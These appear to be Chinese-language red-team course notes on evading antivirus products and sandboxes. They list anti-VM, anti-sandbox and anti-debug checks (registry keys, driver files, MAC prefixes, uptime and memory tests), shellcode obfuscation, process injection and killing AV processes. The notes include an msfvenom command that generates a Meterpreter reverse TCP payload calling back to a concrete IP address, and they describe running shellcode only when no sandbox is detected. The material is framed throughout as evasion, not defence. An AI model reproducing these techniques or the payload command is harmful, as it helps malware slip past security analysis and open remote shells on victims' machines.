知识点
1 、反VT-沙盒检测-Go& Python& C++
2 、反调试-调试检测& 进程注入-C++
3 、反VT反调试-程序保护-工具项目类
编译代码面-ShellCode-混淆
编译代码面-编辑执行器-编写
编译代码面-分离加载器-编写
程序文件面-特征码定位-修改
程序文件面-加壳花指令-资源
代码加载面-Dll反射劫持-加载
权限逻辑面-杀毒进程干扰-结束
工具数据面-通讯内存流量-动态
对抗目标:
X60 Defender 某绒 管家 VT等
编程语言:
C/C++ Python C
涉及技术:
ShellCode混淆,无文件落地,分离拆分,白名单,DLL加载,Syscall,加壳加花,
资源修改,特征修改,二次开发CS,内存休眠,进程注入,反沙盒,反调试,CDN解析等
演示案例
1 、反VT-沙盒检测-Go& Python& C++
2 、反调试-调试检测& 进程注入-C++
3 、反VT反调试-程序保护-工具项目类
近年来,各类恶意软件层出不穷,反病毒软件也更新了各种检测方案以提高检测率。
其中比较有效的方案是动态沙箱检测技术,即通过在沙箱中运行程序并观察程序行为来判断程序是否为恶意程序。为了逃避沙箱/安全人员的检测,恶意软件使用了各类识别沙箱/虚拟机的技术,用于判断自身程序是否运行在沙箱/虚拟机中。
一、调试器检测
- 基本的例如 IsDebuggerPresent API ,PEB.BeingDebugged.. .
- TLS 回调
- hard/software breakpoints
- VirtualAlloc
.. .
二、DLL注入检测
- 检测是否有DLL注入此进程来实现对进程的行为监控(HOOK)
三、Virtual Box 检测
- 检测文件,例如VBoxMouse.sys, VirtualBox Guest Additions directory.. .
- 检测注册表,进程,服务,例如VBoxControl.exe, VBoxService.. .
- 检测硬件名称,MAC地址等等.. .
四、VMware 检测
- 与VB检测类似
五、其他虚拟平台检测
- 例如 Xen, QEMU, Wine, Paralles.. .
六、分析工具进程检测
- 检测例如OD, ProcessMonitor, Autorun 等分析工具进程的存在.. ..
七、通用沙盒/虚拟机检测
- 检测是否存在特殊进程名,模块名
- 通过WMI检测真实硬件状态,例如硬盘大小,内存大小,CPU风扇,型号,BIOS序列号名称,电源电压,温度等等.. .
1 、微步沙盒:https://s.threatbook.cn/
2 、腾讯哈勃分析系统:https://habo.qq.com/
3 、魔盾:https://www.maldun.com/analysis/
4 、微点沙盒:https://sandbox.depthsec.com.cn/index.php/
5 、奇安信文件深度分析平台:https://sandbox.ti.qianxin.com/sandbox/page
6 、ANYRUN:https://app.any.run/
7 、HybridAnalysis ( Falcon Sandbox) :https://www.hybrid-analysis.com/
8 、CAPE Sandbox: https://capesandbox.com/
9 、BD Sandbox Analyzer:https://www.bitdefender.com/business/enterprise-products/sandbox-analyzer.html
10 、Joe Sanbox: https://www.joesandbox.com/
Go
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST = 47.94 .236.117 LPORT = 6688 -f hex
Python
https://www.jb51.net/article/248175.htm
https://www.freebuf.com/articles/system/202717.html
https://blog.csdn.net/lc19920727/article/details/122820209
C/C++
https://github.com/sharepub/CheckVM-Sandbox
反沙盒& 反虚拟机& APC进程注入
https://forum.butian.net/share/758
https://mp.weixin.qq.com/s/mC0XhNSwdhhISwcBFXe0uQ
https://bbs.kafan.cn/thread-2181869-1-1.html
https://github.com/LordNoteworthy/al-khaser
总结
"反VT反调试" 大致实现流程为:先检测是否在虚拟机或沙箱中运行,若不是则执行shellcode,反之则不执行。
检测是否在"虚拟机" 中运行,参考以下方法:
1 、通过进程名检测VMware& VirtualBox(类似Vmtoolsd.exe和Vmtoolsd.exe)
2 、检测注册表(类似HKLM\ SOFTWARE\ Vmware Inc\ Vmware Tools)
3 、检测硬盘中的文件(类似C:\ windows\ System32\ Drivers\ Vmmouse.sys)
4 、判断运行中的服务(类似VMTools和Vmrawdsk)
5 、检测mac地址前缀(类似00:05:69 ( Vmware) 和08:00:27 ( VirtualBox) )
6 、使用CPUID指令检测虚拟机(CPUID的作用是允许软件发现处理器的详细信息)
检测是否在"沙盒" 中运行,参考以下方法:
1 、延迟运行(沙箱检测运行的时间一般比较短,所以我们可以延迟等待一会儿后再进行真实的操作)
2 、检测开机时间(一般沙箱检测完毕后会重置系统,根据开机时间来判断是否是真机,比如小于1个小时返回false)
3 、检测物理内存(绝大多数真机内存都大于4G,可检测内存是否大于4G来判断是否是真机)